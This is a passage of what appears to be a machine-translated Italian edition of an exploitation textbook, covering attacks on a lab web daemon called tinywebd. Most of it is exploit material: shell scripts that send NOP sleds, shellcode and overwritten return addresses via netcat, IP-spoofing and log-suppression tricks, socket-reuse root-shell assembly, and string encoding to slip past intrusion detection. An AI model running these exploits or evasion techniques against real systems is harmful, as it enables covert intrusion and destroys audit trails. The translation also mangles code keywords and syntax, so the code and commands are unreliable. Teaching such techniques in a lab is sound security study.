sotto mostra il programma in fase di compilazione ed esecuzione.

reader @ hacking: ~ / booksrc $ gcc -o addr_struct addr_struct.c


lettore @ hacking: ~ / booksrc $ ./addr_struct 12.34.56.78 9090
##
"8N_reader @ hacking: ~ / booksrc $
reader @ hacking: ~ / booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C
00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 5f fd b7 |. #. "8N ..._. |
00000010
lettore @ hacking: ~ / booksrc $

Per integrare questo nel nostro exploit, la struttura degli indirizzi viene iniettata dopo
la falsa richiesta ma prima della slitta NOP. Poiché la richiesta falsa è di 15 byte
lungo e sappiamo che il buffer inizia da 0xbffff5c0 , l'indirizzo falso sarà
iniettato a 0xbfffff5cf .

lettore @ hacking: ~ / booksrc $ grep 0x xtool_tinywebd_steath.sh


RETADDR = "\ x24 \ xf6 \ xff \ xbf" # a +100 byte dal buffer @ 0xbffff5c0
reader @ hacking: ~ / booksrc $ gdb -q -batch -ex "p / x 0xbffff5c0 + 15"
$ 1 = 0xbffff5cf
lettore @ hacking: ~ / booksrc $

Poiché client_addr_ptr viene passato come secondo argomento della funzione, lo farà
essere nello stack due dwords dopo l'indirizzo di ritorno. Il seguente exploit
lo script inietta una struttura di indirizzi falsi e sovrascrive client_addr_ptr .

xtool_tinywebd_spoof.sh

#! / bin / sh
# Strumento di sfruttamento stealth di spoofing IP per tinywebd

SPOOFIP = "12.34.56.78"
SPOOFPORT = "9090"

se [-z "$ 2"]; then # Se l'argomento 2 è vuoto


echo "Utilizzo: $ 0 <file shellcode> <IP di destinazione>"
Uscita
fi
FAKEREQUEST = "GET / HTTP / 1.1 \ x00"
FR_SIZE = $ (perl -e "print \" $ FAKEREQUEST \ "" | wc -c | cut -f1 -d '')
OFFSET = 540
RETADDR = "\ x24 \ xf6 \ xff \ xbf" # A +100 byte dal buffer @ 0xbffff5c0
FAKEADDR = "\ xcf \ xf5 \ xff \ xbf" # +15 byte dal buffer @ 0xbffff5c0
echo "IP di destinazione: $ 2"
DIMENSIONE = `wc -c $ 1 | tagliare -f1 -d '' `
echo "codice shell: $ 1 ($ SIZE byte)"
echo "richiesta falsa: \" $ FAKEREQUEST \ "($ FR_SIZE byte)"
ALIGNED_SLED_SIZE = $ (($ OFFSET + 4 - (32 * 4) - $ SIZE - $ FR_SIZE - 16))

echo "[Fake Request $ FR_SIZE] [spoofing IP 16] [NOP $ ALIGNED_SLED_SIZE] [shellcode $ SIZE] [ret
addr 128] [* fake_addr 8] "

Contromisure 349

Pagina 364

(perl -e "print \" $ FAKEREQUEST \ "";


./addr_struct "$ SPOOFIP" "$ SPOOFPORT";
perl -e "print \" \ x90 \ "x $ ALIGNED_SLED_SIZE";
gatto $ 1;
perl -e "print \" $ RETADDR \ "x32. \" $ FAKEADDR \ "x2. \" \ r \ n \ "") | nc -w 1 -v $ 2 80

Il modo migliore per spiegare esattamente cosa fa questo script di exploit è guardare
tinywebd dall'interno di GDB. Nell'output seguente, GDB viene utilizzato per allegare al file
eseguendo il processo tinywebd, i punti di interruzione vengono impostati prima dell'overflow e il file
Viene generata la parte IP del buffer di registro.

lettore @ hacking: ~ / booksrc $ ps aux | grep tinywebd


radice 27264 0,0 0,0 1636420? SS 20:47 0:00 ./tinywebd
reader 30648 0.0 0.0 2880748 punti / 2 R + 22:29 0:00 grep tinywebd
reader @ hacking: ~ / booksrc $ gcc -g tinywebd.c
reader @ hacking: ~ / booksrc $ sudo gdb -q — pid = 27264 --symbols =. / a.out

avviso: non si utilizza un file non attendibile "/home/reader/.gdbinit"


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
Collegamento al processo 27264
/ cow / home / reader / booksrc / tinywebd: nessun file o directory di questo tipo.
È già in corso il debug di un programma. Uccidilo? (y o n) n
Programma non terminato.
(gdb) list handle_connection
77 / * Questa funzione gestisce la connessione sul socket passato da
78 * ha passato l'indirizzo del client e registra all'FD passato. La connessione è
79 * elaborato come una richiesta web e questa funzione risponde tramite il connesso
Presa 80 *. Infine, il socket passato viene chiuso alla fine della funzione.
81 * /
82 void handle_connection (int sockfd, struct sockaddr_in * client_addr_ptr, int logfd) {
83 char non firmato * ptr, richiesta [500], risorsa [500], log_buffer [500];
84 int fd, length;
85
86 length = recv_line (sockfd, richiesta);
(gdb)
87
88 sprintf (log_buffer, "From% s:% d \"% s \ "\ t", inet_ntoa (client_addr_ptr-> sin_addr),
ntohs (client_addr_ptr-> sin_port), richiesta);
89
90 ptr = strstr (richiesta, "HTTP /"); // Cerca una richiesta di ricerca valida.
91 if (ptr == NULL) {// Allora questo non è un HTTP valido
92 strcat (log_buffer, "NON HTTP! \ n");
93 } altro {
94 * ptr = 0; // Termina il buffer alla fine dell'URL.
95 ptr = NULL; // Imposta ptr su NULL (utilizzato per segnalare una richiesta non valida).
96 if (strncmp (request, "GET", 4) == 0) // Ottieni richiesta
(gdb) break 86
Punto di interruzione 1 in 0x8048fc3: file tinywebd.c, riga 86.
(gdb) break 89
Breakpoint 2 a 0x8049028: file tinywebd.c, riga 89.
(gdb) cont
Continuando.

350 0x600

Pagina 365

Quindi, da un altro terminale, il nuovo exploit di spoofing viene utilizzato per avanzare
esecuzione nel debugger.

lettore @ hacking: ~ / booksrc $ ./xtool_tinywebd_spoof.sh mark_restore 127.0.0.1


IP di destinazione: 127.0.0.1
shellcode: mark_restore (53 byte)
richiesta falsa: "GET / HTTP / 1.1 \ x00" (15 byte)
[Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128]
[* fake_addr 8]
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $

Di nuovo nel terminale di debug, viene raggiunto il primo punto di interruzione.

Breakpoint 1, handle_connection (sockfd = 9, client_addr_ptr = 0xbffff810, logfd = 3) in


tinywebd.c: 86
86 length = recv_line (sockfd, richiesta);
(gdb) bt
# 0 handle_connection (sockfd = 9, client_addr_ptr = 0xbffff810, logfd = 3) su tinywebd.c: 86
# 1 0x08048fb7 in main () su tinywebd.c: 72
(gdb) print client_addr_ptr
$ 1 = (struct sockaddr_in *) 0xbffff810
(gdb) print * client_addr_ptr
$ 2 = {sin_family = 2, sin_port = 15284, sin_addr = {s_addr = 16777343},
sin_zero = "\ 000 \ 000 \ 000 \ 000 \ 000 \ 000 \ 000"}
(gdb) x / x e client_addr_ptr
0xbffff7e4: 0xbffff810
(gdb) x / 24x richiesta + 500
0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624
0xbffff7c4: 0xbffff624 0xbffff624 0x0804b030 0xbffff624
0xbffff7d4: 0x00000009 0xbffff848 0x08048fb7 0x00000009
0xbffff7e4: 0xbffff810 0x00000003 0xbffff838 0x00000004
0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000
0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002
(gdb) cont
Continuando.

Breakpoint 2, handle_connection (sockfd = -1073744433, client_addr_ptr = 0xbffff5cf, logfd = 2560)


presso tinywebd.c: 90
90 ptr = strstr (richiesta, "HTTP /"); // Cerca una richiesta dall'aspetto valido.
(gdb) x / 24x richiesta + 500
0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624
0xbffff7c4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624
0xbffff7d4: 0xbffff624 0xbffff624 0xbffff624 0xbffff5cf
0xbffff7e4: 0xbffff5cf 0x00000a00 0xbffff838 0x00000004
0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000
0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002
(gdb) print client_addr_ptr
$ 3 = (struct sockaddr_in *) 0xbffff5cf
(gdb) print client_addr_ptr
$ 4 = (struct sockaddr_in *) 0xbffff5cf
(gdb) print * client_addr_ptr
$ 5 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = 1312301580},

Contromisure 351

Pagina 366

sin_zero = "\ 000 \ 000 \ 000 \ 000_


(gdb) x / s log_buffer
0xbffff1c0: "Da 12.34.56.78:9090 \" GET / HTTP / 1.1 \ "\ t"
(gdb)

Al primo punto di interruzione, client_addr_ptr si trova a 0xbffff7e4 e


che punta a 0xbffff810 . Questo si trova in memoria sullo stack due dwords dopo
l'indirizzo di ritorno. Il secondo punto di interruzione è dopo la sovrascrittura, quindi il file
client_addr_ptr su 0xbffff7e4viene sovrascritto con l'indirizzo
della struttura sockaddr_in iniettata a 0xbffff5cf . Da qui possiamo sbirciare
nel log_buffer prima che venga scritto nel log per verificare l'indirizzo
iniezione ha funzionato.

0x662 Sfruttamento senza log


Idealmente, non vogliamo lasciare alcuna traccia. Nella configurazione sul LiveCD, tecnicamente
puoi semplicemente eliminare i file di registro dopo aver ottenuto una shell di root. Tuttavia, supponiamo
questo programma fa parte di un'infrastruttura sicura in cui viene eseguito il mirroring dei file di registro
a un server di registrazione sicuro con un accesso minimo o forse anche una linea
stampante. In questi casi, l'eliminazione dei file di registro dopo il fatto non è un'opzione.
La funzione timestamp () nel daemon tinyweb cerca di essere sicura scrivendo
direttamente a un descrittore di file aperto. Non possiamo impedire a questa funzione di essere
chiamato e non possiamo annullare la scrittura sul file di registro. Questo sarebbe un file
contromisura abbastanza efficace; tuttavia, è stato implementato male. Infatti,
nell'exploit precedente, ci siamo imbattuti in questo problema.
Anche se logfd è una variabile globale, viene anche passato a handle_connection ()
come argomento di una funzione. Dalla discussione sul contesto funzionale, dovresti
ricorda che questo crea un'altra variabile di stack con lo stesso nome, logfd .
Poiché questo argomento si trova subito dopo client_addr_ptr nello stack, esso
viene parzialmente sovrascritto dal terminatore null e dal byte 0x0a aggiuntivo trovato
alla fine dell'exploit buffer.

(gdb) x / xw e client_addr_ptr
0xbffff7e4: 0xbffff5cf
(gdb) x / xw e logfd
0xbffff7e8: 0x00000a00
(gdb) x / 4xb e logfd
0xbffff7e8: 0x00 0x0a 0x00 0x00
(gdb) x / 8xb e client_addr_ptr
0xbffff7e4: 0xcf 0xf5 0xff 0xbf 0x00 0x0a 0x00 0x00
(gdb) p logfd
$ 6 = 2560
(gdb) esci
Il programma è in esecuzione. Chiudere comunque (e staccarlo)? (y o n) y
Scollegamento dal programma:, processo 27264
reader @ hacking: ~ / booksrc $ sudo kill 27264
lettore @ hacking: ~ / booksrc $

Finché il descrittore del file di registro non è 2560 ( 0x0a00 in formato


esadecimale), ogni volta che handle_connection () tenta di scrivere nel log lo farà
fallire. Questo effetto può essere rapidamente esplorato usando strace. Nell'output di seguito,

352 0x600

Pagina 367

strace viene utilizzato con l' argomento della riga di comando -p per collegarsi a un file in esecuzione
processi. L' argomento -e trace = write dice a strace di guardare solo le chiamate di scrittura.
Ancora una volta, lo strumento di spoofing exploit viene utilizzato in un altro terminale per connettersi
e l'esecuzione anticipata.

lettore @ hacking: ~ / booksrc $ ./tinywebd


Avvio di un piccolo demone web.
lettore @ hacking: ~ / booksrc $ ps aux | grep tinywebd
radice 478 0,0 0,0 1636420? Ss 23:24 0:00 ./tinywebd
lettore 525 0.0 0.0 2880748 punti / 1 R + 23:24 0:00 grep tinywebd
reader @ hacking: ~ / booksrc $ sudo strace -p 478 -e trace = write
Processo 478 allegato - interrompi per uscire
write (2560, "19/09/2007 23:29:30>", 21) = -1 EBADF (descrittore di file non valido)
write (2560, "From 12.34.56.78:9090 \" GET / HTT ".., 47) = -1 EBADF (descrittore di file non valido)
Processo 478 staccato
lettore @ hacking: ~ / booksrc $

Questo output mostra chiaramente i tentativi di scrittura nel file di registro non riusciti.
Normalmente, non saremmo in grado di sovrascrivere la variabile logfd , poiché il file
client_addr_ptr è d'intralcio. Di solito, manipolare con noncuranza questo puntatore
portare a un incidente. Ma dal momento che ci siamo assicurati che questa variabile punti a una memoria valida
(la nostra struttura di indirizzi falsificata iniettata), siamo liberi di sovrascrivere le variabili
abili che stanno al di là di esso. Poiché il demone tinyweb reindirizza lo standard a
/ dev / null, il prossimo script di exploit sovrascriverà la variabile logfd passata
con 1 , per output standard. Ciò impedirà comunque la scrittura delle voci
al file di registro ma in un modo molto più gradevole, senza errori.

xtool_tinywebd_silent.sh

#! / bin / sh
# Strumento di sfruttamento invisibile silenzioso per tinywebd
# falsifica anche l'indirizzo IP archiviato in memoria

SPOOFIP = "12.34.56.78"
SPOOFPORT = "9090"

se [-z "$ 2"]; then # Se l'argomento 2 è vuoto


echo "Utilizzo: $ 0 <file shellcode> <IP di destinazione>"
Uscita
fi
FAKEREQUEST = "GET / HTTP / 1.1 \ x00"
FR_SIZE = $ (perl -e "print \" $ FAKEREQUEST \ "" | wc -c | cut -f1 -d '')
OFFSET = 540
RETADDR = "\ x24 \ xf6 \ xff \ xbf" # A +100 byte dal buffer @ 0xbffff5c0
FAKEADDR = "\ xcf \ xf5 \ xff \ xbf" # +15 byte dal buffer @ 0xbffff5c0
echo "IP di destinazione: $ 2"
DIMENSIONE = `wc -c $ 1 | tagliare -f1 -d '' `
echo "codice shell: $ 1 ($ SIZE byte)"
echo "richiesta falsa: \" $ FAKEREQUEST \ "($ FR_SIZE byte)"
ALIGNED_SLED_SIZE = $ (($ OFFSET + 4 - (32 * 4) - $ SIZE - $ FR_SIZE - 16))

echo "[Fake Request $ FR_SIZE] [spoofing IP 16] [NOP $ ALIGNED_SLED_SIZE] [shellcode $ SIZE] [ret
addr 128] [* fake_addr 8] "

Contromisure 353

Pagina 368
(perl -e "print \" $ FAKEREQUEST \ "";
./addr_struct "$ SPOOFIP" "$ SPOOFPORT";
perl -e "print \" \ x90 \ "x $ ALIGNED_SLED_SIZE";
gatto $ 1;
perl -e "print \" $ RETADDR \ "x32. \" $ FAKEADDR \ "x2. \" \ x01 \ x00 \ x00 \ x00 \ r \ n \ "") | nc -w 1 -v $ 2
80

Quando viene utilizzato questo script, l'exploit è totalmente silenzioso e non viene scritto nulla
al file di registro.

lettore @ hacking: ~ / booksrc $ sudo rm / Hacked


lettore @ hacking: ~ / booksrc $ ./tinywebd
Avvio di tiny web daemon ..
lettore @ hacking: ~ / booksrc $ ls -l /var/log/tinywebd.log
-rw ------- 1 lettore root 6526 2007-09-19 23:24 /var/log/tinywebd.log
lettore @ hacking: ~ / booksrc $ ./xtool_tinywebd_silent.sh mark_restore 127.0.0.1
IP di destinazione: 127.0.0.1
shellcode: mark_restore (53 byte)
richiesta falsa: "GET / HTTP / 1.1 \ x00" (15 byte)
[Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [* fake_addr 8]
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $ ls -l /var/log/tinywebd.log
-rw ------- 1 lettore root 6526 2007-09-19 23:24 /var/log/tinywebd.log
lettore @ hacking: ~ / booksrc $ ls -l / Hacked
-rw ------- 1 lettore di root 0 2007-09-19 23:35 / Hacked
lettore @ hacking: ~ / booksrc $

Notare che la dimensione del file di registro e il tempo di accesso rimangono gli stessi. Usando questo
tecnica, possiamo sfruttare tinywebd senza lasciare traccia nel log
File. Inoltre, le chiamate di scrittura vengono eseguite in modo pulito, poiché tutto viene scritto
/ dev / null. Questo è mostrato da strace nell'output sotto, quando il file silent
strumento di exploit viene eseguito in un altro terminale.

lettore @ hacking: ~ / booksrc $ ps aux | grep tinywebd


radice 478 0,0 0,0 1636420? Ss 23:24 0:00 ./tinywebd
lettore 1005 0,0 0,0 2880748 punti / 1 R + 23:36 0:00 grep tinywebd
reader @ hacking: ~ / booksrc $ sudo strace -p 478 -e trace = write
Processo 478 allegato - interrompi per uscire
scrivi (1, "19/09/2007 23:36:31>", 21) = 21
write (1, "From 12.34.56.78:9090 \" GET / HTT ".., 47) = 47
Processo 478 staccato
lettore @ hacking: ~ / booksrc $

0x670 L'intera infrastruttura


Come sempre, i dettagli possono essere nascosti nel quadro più ampio. Solitamente un solo host
esiste all'interno di una sorta di infrastruttura. Contromisure come l'intrusione
sistemi di rilevamento (IDS) e sistemi di prevenzione delle intrusioni (IPS) possono rilevare
traffico di rete anomalo. Anche i semplici file di registro su router e firewall possono farlo
rivelare connessioni anormali che sono indicative di un'intrusione. In particolare
ular, la connessione alla porta 31337 utilizzata nel nostro shellcode connect-back è un file

354 0x600

Pagina 369

grande bandiera rossa. Potremmo cambiare la porta con qualcosa che sembri meno sospetto;
tuttavia, avere semplicemente un server web aperto connessioni in uscita potrebbe essere un file
bandiera rossa da sola. Un'infrastruttura altamente sicura potrebbe persino avere il firewall
configurazione con filtri in uscita per impedire le connessioni in uscita. In queste situazioni,
l'apertura di una nuova connessione è impossibile o verrà rilevata.

0x671 Riutilizzo socket


Nel nostro caso, non c'è davvero bisogno di aprire una nuova connessione, poiché lo abbiamo già
avere un socket aperto dalla richiesta web. Dal momento che stiamo perdendo tempo dentro
il demone tinyweb, con un po 'di debugging possiamo riutilizzare il socket esistente
per la shell di root. Ciò impedisce l'esecuzione di ulteriori connessioni TCP
registrato e consente lo sfruttamento nei casi in cui l'host di destinazione non può essere aperto
connessioni in uscita. Dai un'occhiata al codice sorgente di tinywebd.c
mostrato sotto.

Estratto da tinywebd.c

while (1) {// Accetta il ciclo


sin_size = sizeof (struct sockaddr_in);
new_sockfd = accept (sockfd, (struct sockaddr *) & client_addr, & sin_size);
if (new_sockfd == -1)
fatale ("accettazione della connessione");

handle_connection (new_sockfd, & client_addr, logfd);


}
return 0;
}

/ * Questa funzione gestisce la connessione sul socket passato da


* ha passato l'indirizzo del cliente e registra all'FD passato. La connessione è
* elaborato come una richiesta web e questa funzione risponde tramite il connesso
* presa. Infine, il socket passato viene chiuso alla fine della funzione.
*/
void handle_connection (int sockfd, struct sockaddr_in * client_addr_ptr, int logfd) {
char non firmato * ptr, richiesta [500], risorsa [500], log_buffer [500];
int fd, length;

length = recv_line (sockfd, richiesta);

Sfortunatamente, il sockfd passato a handle_connection () lo sarà inevitabilmente


sovrascritto in modo da poter sovrascrivere logfd . Questa sovrascrittura avviene prima di guadagnare
controllo del programma nello shellcode, quindi non c'è modo di recuperare il file
valore precedente di sockfd . Fortunatamente, main () conserva un'altra copia del socket
descrittore di file in new_sockfd .

lettore @ hacking: ~ / booksrc $ ps aux | grep tinywebd


radice 478 0,0 0,0 1636420? Ss 23:24 0:00 ./tinywebd
lettore 1284 0.0 0.0 2880748 punti / 1 R + 23:42 0:00 grep tinywebd
reader @ hacking: ~ / booksrc $ gcc -g tinywebd.c
reader @ hacking: ~ / booksrc $ sudo gdb -q — pid = 478 --symbols =. / a.out
Contromisure 355

Pagina 370

avviso: non si utilizza un file non attendibile "/home/reader/.gdbinit"


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
Collegamento al processo 478
/ cow / home / reader / booksrc / tinywebd: nessun file o directory di questo tipo.
È già in corso il debug di un programma. Uccidilo? (y o n) n
Programma non terminato.
(gdb) list handle_connection
77 / * Questa funzione gestisce la connessione sul socket passato da
78 * ha passato l'indirizzo del client e registra all'FD passato. La connessione è
79 * elaborato come una richiesta web e questa funzione risponde tramite il connesso
Presa 80 *. Infine, il socket passato viene chiuso alla fine della funzione.
81 * /
82 void handle_connection (int sockfd, struct sockaddr_in * client_addr_ptr, int logfd) {
83 char non firmato * ptr, richiesta [500], risorsa [500], log_buffer [500];
84 int fd, length;
85
86 length = recv_line (sockfd, richiesta);
(gdb) break 86
Punto di interruzione 1 in 0x8048fc3: file tinywebd.c, riga 86.
(gdb) cont
Continuando.

Dopo che il punto di interruzione è stato impostato e il programma continua, l'exploit silenzioso
lo strumento viene utilizzato da un altro terminale per connettersi e far avanzare l'esecuzione.

Breakpoint 1, handle_connection (sockfd = 13, client_addr_ptr = 0xbffff810, logfd = 3) in


tinywebd.c: 86
86 length = recv_line (sockfd, richiesta);
(gdb) x / x & sockfd
0xbffff7e0: 0x0000000d
(gdb) x / x & new_sockfd
Nessun simbolo "new_sockfd" nel contesto corrente.
(gdb) bt
# 0 handle_connection (sockfd = 13, client_addr_ptr = 0xbffff810, logfd = 3) su tinywebd.c: 86
# 1 0x08048fb7 in main () su tinywebd.c: 72
(gdb) select-frame 1
(gdb) x / x & new_sockfd
0xbffff83c: 0x0000000d
(gdb) esci
Il programma è in esecuzione. Chiudere comunque (e staccarlo)? (y o n) y
Scollegamento dal programma:, processo 478
lettore @ hacking: ~ / booksrc $

Questo output di debug mostra che new_sockfd è archiviato in 0xbffff83c all'interno


stack frame principale. Usando questo, possiamo creare uno shellcode che usa il socket
descrittore di file memorizzato qui invece di creare una nuova connessione.
Anche se potremmo usare direttamente questo indirizzo, ci sono molte piccole cose
che può spostare la memoria dello stack. Se ciò accade e lo shellcode sta usando
un indirizzo di stack hardcoded, l'exploit fallirà. Per rendere lo shellcode più
affidabile, prendi spunto da come il compilatore gestisce le variabili dello stack. Se usiamo
un indirizzo relativo a ESP, quindi anche se lo stack si sposta un po ', l'indirizzo

356 0x600

Pagina 371

di new_sockfd sarà ancora corretto poiché l'offset da ESP sarà lo stesso.


Come forse ricorderai dal debug con lo shellcode mark_break , ESP
era 0xbffff7e0 . Utilizzando questo valore per ESP, l'offset viene mostrato come 0x5c byte.

lettore @ hacking: ~ / booksrc $ gdb -q


(gdb) print / x 0xbffff83c - 0xbffff7e0
$ 1 = 0x5c
(gdb)

Il seguente codice di shell riutilizza il socket esistente per la shell di root.

socket_reuse_restore.s

BITS 32

premere BYTE 0x02; Fork è syscall # 2


pop eax
int 0x80 ; Dopo il fork, nel processo figlio eax == 0.
prova eax, eax
jz child_process; Nel processo figlio genera un guscio.

; Nel processo genitore, ripristina tinywebd.


lea ebp, [esp + 0x68]; Ripristina EBP.
push 0x08048fb7; Indirizzo di ritorno.
ret ; Ritorno.

child_process:
; Riutilizza il socket esistente.
lea edx, [esp + 0x5c]; Metti l'indirizzo di new_sockfd in edx.
mov ebx, [edx]; Metti il ​valore di new_sockfd in ebx.
premere BYTE 0x02
pop ecx ; ecx inizia da 2.
xor eax, eax
xor edx, edx
dup_loop:
mov BYTE al, 0x3F; dup2 syscall # 63
int 0x80 ; dup2 (c, 0)
dec ecx ; Conto alla rovescia fino a 0.
jns dup_loop; Se il flag del segno non è impostato, ecx non è negativo.

; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11
push edx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx, tramite esp.
push edx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])

Contromisure 357

Pagina 372

Per utilizzare efficacemente questo codice shell, abbiamo bisogno di un altro strumento di sfruttamento che
ci consente di inviare il buffer di exploit ma mantiene il socket fuori per ulteriori I / O.
Questo secondo script di exploit aggiunge un comando cat aggiuntivo alla fine di
l'exploit buffer. L'argomento trattino significa input standard. Gatto che corre
sullo standard input è in qualche modo inutile di per sé, ma quando il comando lo è
convogliato in netcat, questo collega efficacemente input e output standard a netcat
presa di rete. Lo script seguente si connette al target, invia l'exploit
buffer, quindi mantiene il socket aperto e riceve ulteriori input dal file
terminale. Questo viene fatto con poche modifiche (mostrate in grassetto) al file
strumento di exploit silenzioso.

xtool_tinywebd_reuse.sh

#! / bin / sh
# Strumento di sfruttamento invisibile silenzioso per tinywebd
# falsifica anche l'indirizzo IP archiviato in memoria
# riutilizza il socket esistente: usa il codice shell socket_reuse

SPOOFIP = "12.34.56.78"
SPOOFPORT = "9090"

se [-z "$ 2"]; allora # se l'argomento 2 è vuoto


echo "Utilizzo: $ 0 <file shellcode> <IP di destinazione>"
Uscita
fi
FAKEREQUEST = "GET / HTTP / 1.1 \ x00"
FR_SIZE = $ (perl -e "print \" $ FAKEREQUEST \ "" | wc -c | cut -f1 -d '')
OFFSET = 540
RETADDR = "\ x24 \ xf6 \ xff \ xbf" # a +100 byte dal buffer @ 0xbffff5c0
FAKEADDR = "\ xcf \ xf5 \ xff \ xbf" # +15 byte dal buffer @ 0xbffff5c0
echo "IP di destinazione: $ 2"
DIMENSIONE = `wc -c $ 1 | tagliare -f1 -d '' `
echo "codice shell: $ 1 ($ SIZE byte)"
echo "richiesta falsa: \" $ FAKEREQUEST \ "($ FR_SIZE byte)"
ALIGNED_SLED_SIZE = $ (($ OFFSET + 4 - (32 * 4) - $ SIZE - $ FR_SIZE - 16))

echo "[Fake Request $ FR_SIZE] [spoofing IP 16] [NOP $ ALIGNED_SLED_SIZE] [shellcode $ SIZE] [ret
addr 128] [* fake_addr 8] "
(perl -e "print \" $ FAKEREQUEST \ "";
./addr_struct "$ SPOOFIP" "$ SPOOFPORT";
perl -e "print \" \ x90 \ "x $ ALIGNED_SLED_SIZE";
gatto $ 1;
perl -e "print \" $ RETADDR \ "x32. \" $ FAKEADDR \ "x2. \" \ x01 \ x00 \ x00 \ x00 \ r \ n \ "";
gatto -; ) | nc -v $ 2 80

Quando questo strumento viene utilizzato con lo shellcode socket_reuse_restore, il file root
shell verrà servita utilizzando lo stesso socket utilizzato per la richiesta web. Il
l'output seguente lo dimostra.

lettore @ hacking: ~ / booksrc $ nasm socket_reuse_restore.s


lettore @ hacking: ~ / booksrc $ hexdump -C socket_reuse_restore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f | jX.tl $ hh. |
00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 31 d2 | ..T $ \. J.Y1.1. |

358 0x600

Pagina 373

00000020 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?. Iy..Rh // shh |


00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 | /bin.RS. |
0000003e
lettore @ hacking: ~ / booksrc $ ./tinywebd
Avvio di un piccolo demone web.
lettore @ hacking: ~ / booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore 127.0.0.1
IP di destinazione: 127.0.0.1
shellcode: socket_reuse_restore (62 byte)
richiesta falsa: "GET / HTTP / 1.1 \ x00" (15 byte)
[Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [* fake_addr 8]
localhost [127.0.0.1] 80 (www) aperto
chi sono
radice

Riutilizzando il socket esistente, questo exploit è ancora più silenzioso poiché non lo fa
creare eventuali connessioni aggiuntive. Meno connessioni significano meno anomalie-
è necessario rilevare eventuali contromisure.
0x680 Payload contrabbando
I suddetti sistemi IDS o IPS di rete possono fare di più che tenere traccia
connessioni: possono anche ispezionare i pacchetti stessi. Di solito, questi
i sistemi sono alla ricerca di modelli che potrebbero indicare un attacco. Ad esempio, a
la semplice regola alla ricerca di pacchetti che contengono la stringa / bin / sh catturerebbe un file
molti pacchetti contenenti shellcode. La nostra stringa / bin / sh è già leggermente
offuscato poiché viene inserito nello stack in blocchi di quattro byte, ma una rete
IDS potrebbe anche cercare pacchetti che contengono le stringhe / bin e // sh .
Questi tipi di firme IDS di rete possono essere abbastanza efficaci nel catturare
script kiddies che utilizzano exploit scaricati da Internet. Come-
mai, sono facilmente aggirati con uno shellcode personalizzato che nasconde qualsiasi rivelazione
stringhe.

0x681 String Encoding


Per nascondere la stringa, aggiungeremo semplicemente 5 a ciascun byte nella stringa. Poi,
dopo che la stringa è stata inserita nello stack, lo shellcode sottrae 5
da ogni byte di stringa nello stack. Questo creerà la stringa desiderata sul file
stack in modo che possa essere utilizzato nello shellcode, mantenendolo nascosto durante
transito. L'output seguente mostra il calcolo dei byte codificati.

lettore @ hacking: ~ / booksrc $ echo "/ bin / sh" | hexdump -C


00000000 2f 62 69 6e 2f 73 68 0a | / bin / sh. |
00000008
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) print / x 0x0068732f + 0x05050505
$ 1 = 0x56d7834
(gdb) print / x 0x6e69622f + 0x05050505
$ 2 = 0x736e6734
(gdb) esci
lettore @ hacking: ~ / booksrc $

Contromisure 359

Pagina 374

Il seguente codice shell inserisce questi byte codificati nello stack e poi
li decodifica in un ciclo. Inoltre, due istruzioni int3 vengono utilizzate per inserire i punti di interruzione
nello shellcode prima e dopo la decodifica. Questo è un modo semplice per vedere cosa
in corso con GDB.

encoded_sockreuserestore_dbg.s

BITS 32

premere BYTE 0x02; Fork è syscall # 2.


pop eax
int 0x80 ; Dopo il fork, nel processo figlio eax == 0.
prova eax, eax
jz child_process; Nel processo figlio genera un guscio.

; Nel processo genitore, ripristina tinywebd.


lea ebp, [esp + 0x68]; Ripristina EBP.
push 0x08048fb7; Indirizzo di ritorno.
ret ; Ritorno

child_process:
; Riutilizza il socket esistente.
lea edx, [esp + 0x5c]; Metti l'indirizzo di new_sockfd in edx.
mov ebx, [edx]; Metti il ​valore di new_sockfd in ebx.
premere BYTE 0x02
pop ecx ; ecx inizia da 2.
xor eax, eax
dup_loop:
mov BYTE al, 0x3F; dup2 syscall # 63
int 0x80 ; dup2 (c, 0)
dec ecx ; Conto alla rovescia fino a 0.
jns dup_loop; Se il flag del segno non è impostato, ecx non è negativo.

; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11
push 0x056d7834; spingere "/ sh \ x00" codificato +5 nello stack.
push 0x736e6734; spingere "/ bin" codificato +5 nello stack.
mov ebx, esp; Inserite l'indirizzo codificato "/ bin / sh" in ebx.

int3; Punto di interruzione prima della decodifica (RIMUOVERE QUANDO NON SI DEBUGGING)

spingere BYTE 0x8; È necessario decodificare 8 byte


pop edx
decode_loop:
sub BYTE [ebx + edx], 0x5
dec edx
jns decode_loop

